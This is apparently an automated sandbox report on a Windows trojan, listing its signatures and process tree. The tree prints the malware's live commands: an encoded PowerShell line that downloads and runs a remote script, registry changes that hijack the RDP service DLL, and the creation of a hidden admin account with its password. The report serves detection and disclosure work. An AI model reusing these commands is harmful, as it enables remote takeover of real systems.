Analysis

  • max time kernel
    122s
  • max time network
    135s
  • platform
    windows10_x64
  • resource
    win10-en-20211104
  • submitted
    06/12/2021, 04:33

General

  • Target
    SecuriteInfo.com.Trojan.GenericKD.38168840.9615.25220.exe
  • Size 4.6MB
  • Sample211206-e6nvrsdcgr
  • SHA256 4a6a29e358327ac53ec209cfa4e32d73286413bdeaa2da4c80b8109b7906de5c
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 9 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Drops file in Windows directory 19 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Script User-Agent 4 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Trojan.GenericKD.38168840.9615.25220.exe
    "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Trojan.GenericKD.38168840.9615.25220.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4208
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4492
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\cedm1e1i\cedm1e1i.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3728
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESE4E2.tmp" "c:\Users\Admin\AppData\Local\Temp\cedm1e1i\CSC4564C1F885B4436B90AF68C9FA86CB9.TMP"
          4⤵
            PID:4180
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\44j5fpag\44j5fpag.cmdline"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:644
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESEBC8.tmp" "c:\Users\Admin\AppData\Local\Temp\44j5fpag\CSCE5D41CBCED5F47B9B05037E09F5CD3B.TMP"
            4⤵
              PID:856
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
            3⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1252
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
            3⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1272
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
            3⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:5104
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
            3⤵
              PID:1940
            • C:\Windows\system32\reg.exe
              "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
              3⤵
              • Modifies registry key
              PID:1652
            • C:\Windows\system32\reg.exe
              "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
              3⤵
                PID:1972
              • C:\Windows\system32\net.exe
                "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:3880
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                  4⤵
                    PID:692
                • C:\Windows\system32\cmd.exe
                  "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1516
                  • C:\Windows\system32\cmd.exe
                    cmd /c net start rdpdr
                    4⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3268
                    • C:\Windows\system32\net.exe
                      net start rdpdr
                      5⤵
                      • Suspicious use of WriteProcessMemory
                      PID:1928
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start rdpdr
                        6⤵
                          PID:3608
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                    3⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3636
                    • C:\Windows\system32\cmd.exe
                      cmd /c net start TermService
                      4⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3204
                      • C:\Windows\system32\net.exe
                        net start TermService
                        5⤵
                        • Suspicious use of WriteProcessMemory
                        PID:3188
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 start TermService
                          6⤵
                            PID:3604
                    • C:\Windows\system32\cmd.exe
                      "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                      3⤵
                        PID:4992
                      • C:\Windows\system32\cmd.exe
                        "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                        3⤵
                          PID:876
                    • C:\Windows\System32\cmd.exe
                      cmd /C net.exe user WgaUtilAcc 000000 /del
                      1⤵
                        PID:5040
                        • C:\Windows\system32\net.exe
                          net.exe user WgaUtilAcc 000000 /del
                          2⤵
                          • Suspicious use of WriteProcessMemory
                          PID:3820
                          • C:\Windows\system32\net1.exe
                            C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
                            3⤵
                              PID:4060
                        • C:\Windows\System32\cmd.exe
                          cmd /C net.exe user WgaUtilAcc 3OeRdIDd /add
                          1⤵
                          • Suspicious use of WriteProcessMemory
                          PID:4220
                          • C:\Windows\system32\net.exe
                            net.exe user WgaUtilAcc 3OeRdIDd /add
                            2⤵
                            • Suspicious use of WriteProcessMemory
                            PID:744
                            • C:\Windows\system32\net1.exe
                              C:\Windows\system32\net1 user WgaUtilAcc 3OeRdIDd /add
                              3⤵
                                PID:3192
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                            1⤵
                            • Suspicious use of WriteProcessMemory
                            PID:3696
                            • C:\Windows\system32\net.exe
                              net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                              2⤵
                              • Suspicious use of WriteProcessMemory
                              PID:2400
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                3⤵
                                  PID:4132
                            • C:\Windows\System32\cmd.exe
                              cmd /C net.exe LOCALGROUP "Remote Desktop Users" LUCNJVHX$ /ADD
                              1⤵
                              • Suspicious use of WriteProcessMemory
                              PID:3284
                              • C:\Windows\system32\net.exe
                                net.exe LOCALGROUP "Remote Desktop Users" LUCNJVHX$ /ADD
                                2⤵
                                • Suspicious use of WriteProcessMemory
                                PID:3216
                                • C:\Windows\system32\net1.exe
                                  C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" LUCNJVHX$ /ADD
                                  3⤵
                                    PID:900
                              • C:\Windows\System32\cmd.exe
                                cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                1⤵
                                • Suspicious use of WriteProcessMemory
                                PID:856
                                • C:\Windows\system32\net.exe
                                  net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                  2⤵
                                  • Suspicious use of WriteProcessMemory
                                  PID:624
                                  • C:\Windows\system32\net1.exe
                                    C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                    3⤵
                                      PID:4268
                                • C:\Windows\System32\cmd.exe
                                  cmd /C net.exe user WgaUtilAcc 3OeRdIDd
                                  1⤵
                                  • Suspicious use of WriteProcessMemory
                                  PID:1104
                                  • C:\Windows\system32\net.exe
                                    net.exe user WgaUtilAcc 3OeRdIDd
                                    2⤵
                                    • Suspicious use of WriteProcessMemory
                                    PID:1492
                                    • C:\Windows\system32\net1.exe
                                      C:\Windows\system32\net1 user WgaUtilAcc 3OeRdIDd
                                      3⤵
                                        PID:1924
                                  • C:\Windows\System32\cmd.exe
                                    cmd.exe /C wmic path win32_VideoController get name
                                    1⤵
                                      PID:972
                                      • C:\Windows\System32\Wbem\WMIC.exe
                                        wmic path win32_VideoController get name
                                        2⤵
                                          PID:4176
                                      • C:\Windows\System32\cmd.exe
                                        cmd.exe /C wmic CPU get NAME
                                        1⤵
                                          PID:4112
                                          • C:\Windows\System32\Wbem\WMIC.exe
                                            wmic CPU get NAME
                                            2⤵
                                              PID:620
                                          • C:\Windows\System32\cmd.exe
                                            cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                            1⤵
                                              PID:1808
                                              • C:\Windows\system32\cmd.exe
                                                cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                2⤵
                                                  PID:1164
                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                    3⤵
                                                    • Blocklisted process makes network request
                                                    • Drops file in Program Files directory
                                                    • Drops file in Windows directory
                                                    • Modifies data under HKEY_USERS
                                                    • Suspicious behavior: EnumeratesProcesses
                                                    PID:1476

                                              Network

                                                    MITRE ATT&CK Enterprise v6

                                                    Replay Monitor

                                                    Loading Replay Monitor...

                                                    Downloads

                                                    memory/1252-183-0x000002CDA06F0000-0x000002CDA06F2000-memory.dmp

                                                    memory/1252-232-0x000002CDA21B8000-0x000002CDA21BA000-memory.dmp

                                                    memory/1252-208-0x000002CDA21B6000-0x000002CDA21B8000-memory.dmp

                                                    memory/1252-190-0x000002CDA06F0000-0x000002CDA06F2000-memory.dmp

                                                    memory/1252-189-0x000002CDA21B3000-0x000002CDA21B5000-memory.dmp

                                                    memory/1252-188-0x000002CDA21B0000-0x000002CDA21B2000-memory.dmp

                                                    memory/1252-186-0x000002CDA06F0000-0x000002CDA06F2000-memory.dmp

                                                    memory/1252-185-0x000002CDA06F0000-0x000002CDA06F2000-memory.dmp

                                                    memory/1252-184-0x000002CDA06F0000-0x000002CDA06F2000-memory.dmp

                                                    memory/1252-181-0x000002CDA06F0000-0x000002CDA06F2000-memory.dmp

                                                    memory/1252-180-0x000002CDA06F0000-0x000002CDA06F2000-memory.dmp

                                                    memory/1252-179-0x000002CDA06F0000-0x000002CDA06F2000-memory.dmp

                                                    memory/1252-178-0x000002CDA06F0000-0x000002CDA06F2000-memory.dmp

                                                    memory/1252-177-0x000002CDA06F0000-0x000002CDA06F2000-memory.dmp

                                                    memory/1272-235-0x0000025E9DE13000-0x0000025E9DE15000-memory.dmp

                                                    memory/1272-278-0x0000025E9DE16000-0x0000025E9DE18000-memory.dmp

                                                    memory/1272-279-0x0000025E9DE18000-0x0000025E9DE1A000-memory.dmp

                                                    memory/1272-234-0x0000025E9DE10000-0x0000025E9DE12000-memory.dmp

                                                    memory/1476-409-0x000002482A586000-0x000002482A588000-memory.dmp

                                                    memory/1476-448-0x000002482A588000-0x000002482A589000-memory.dmp

                                                    memory/1476-399-0x000002482A583000-0x000002482A585000-memory.dmp

                                                    memory/1476-398-0x000002482A580000-0x000002482A582000-memory.dmp

                                                    memory/4208-119-0x00000229BEB30000-0x00000229BEDFE000-memory.dmp

                                                    memory/4208-122-0x00000229A6015000-0x00000229A6016000-memory.dmp

                                                    memory/4208-118-0x00000229A6010000-0x00000229A6012000-memory.dmp

                                                    memory/4208-121-0x00000229A6013000-0x00000229A6015000-memory.dmp

                                                    memory/4208-123-0x00000229A6016000-0x00000229A6017000-memory.dmp

                                                    memory/4492-169-0x0000022870130000-0x0000022870132000-memory.dmp

                                                    memory/4492-161-0x0000022870130000-0x0000022870132000-memory.dmp

                                                    memory/4492-142-0x00000228720D3000-0x00000228720D5000-memory.dmp

                                                    memory/4492-143-0x00000228720D6000-0x00000228720D8000-memory.dmp

                                                    memory/4492-151-0x0000022871FF0000-0x0000022871FF1000-memory.dmp

                                                    memory/4492-141-0x00000228720D0000-0x00000228720D2000-memory.dmp

                                                    memory/4492-137-0x0000022870130000-0x0000022870132000-memory.dmp

                                                    memory/4492-170-0x0000022870130000-0x0000022870132000-memory.dmp

                                                    memory/4492-127-0x0000022870130000-0x0000022870132000-memory.dmp

                                                    memory/4492-125-0x0000022870130000-0x0000022870132000-memory.dmp

                                                    memory/4492-168-0x0000022874C70000-0x0000022874C71000-memory.dmp

                                                    memory/4492-126-0x0000022870130000-0x0000022870132000-memory.dmp

                                                    memory/4492-167-0x00000228748E0000-0x00000228748E1000-memory.dmp

                                                    memory/4492-163-0x0000022870130000-0x0000022870132000-memory.dmp

                                                    memory/4492-162-0x00000228720D8000-0x00000228720D9000-memory.dmp

                                                    memory/4492-128-0x0000022870130000-0x0000022870132000-memory.dmp

                                                    memory/4492-160-0x00000228720B0000-0x00000228720B1000-memory.dmp

                                                    memory/4492-129-0x0000022870130000-0x0000022870132000-memory.dmp

                                                    memory/4492-130-0x0000022871FB0000-0x0000022871FB1000-memory.dmp

                                                    memory/4492-131-0x0000022870130000-0x0000022870132000-memory.dmp

                                                    memory/4492-132-0x0000022870130000-0x0000022870132000-memory.dmp

                                                    memory/4492-133-0x0000022870130000-0x0000022870132000-memory.dmp

                                                    memory/4492-134-0x0000022870130000-0x0000022870132000-memory.dmp

                                                    memory/4492-135-0x0000022874330000-0x0000022874331000-memory.dmp

                                                    memory/5104-280-0x0000018558230000-0x0000018558232000-memory.dmp

                                                    memory/5104-281-0x0000018558233000-0x0000018558235000-memory.dmp

                                                    memory/5104-312-0x0000018558236000-0x0000018558238000-memory.dmp

                                                    memory/5104-313-0x0000018558238000-0x000001855823A000-memory.dmp